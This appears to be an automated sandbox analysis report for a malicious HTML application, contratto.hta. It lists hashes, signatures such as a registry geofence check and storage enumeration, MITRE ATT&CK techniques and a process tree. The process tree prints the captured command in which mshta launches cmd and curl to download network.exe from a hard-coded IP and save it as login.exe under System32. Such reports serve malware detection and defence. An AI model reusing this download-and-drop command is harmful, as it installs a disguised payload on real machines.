6fad6ffcf4be97d9ded83d6270e72c5d97d9a995f48991776ca75bea85b40620

Analysis

max time kernel
95s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
01/03/2023, 18:26

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General

Target
contratto.hta
Size 7KB
Sample230301-w26y8ahe63
SHA256 6fad6ffcf4be97d9ded83d6270e72c5d97d9a995f48991776ca75bea85b40620
MD5 ef038612281cb7840ff943dda0f395b0
SHA1 9083e2878b966da48e4ebe557ee0feac1ea0a2a4
SHA512 bb2846ab9099fd8683852948a4044036b04a1d0a42ee22e507d966f3740d4d95a598ac1ecfe94c51a19396e10c4a0d2bf6e9959aa1cd89118c81184346db784b
SSDEEP 96:SP6wDh+NEbJpEl0EJjAr3BZE5S4dwatxC5WLSYLw9RKUzlnoi594N0M+Q0AK/HtI:SDFFpa6r/TC7QuMVnoiD00MC2Kw5
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1220 wrote to memory of 3876	1220	mshta.exe	86
PID 1220 wrote to memory of 3876	1220	mshta.exe	86
PID 1220 wrote to memory of 3876	1220	mshta.exe	86
PID 3876 wrote to memory of 4480	3876	cmd.exe	88
PID 3876 wrote to memory of 4480	3876	cmd.exe	88
PID 3876 wrote to memory of 4480	3876	cmd.exe	88

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\contratto.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1220
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl http://109.248.11.155/network.exe -o C:\Windows\\System32\\LogFiles\\login.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\SysWOW64\curl.exe
    curl http://109.248.11.155/network.exe -o C:\Windows\\System32\\LogFiles\\login.exe
    3⤵
    PID:4480

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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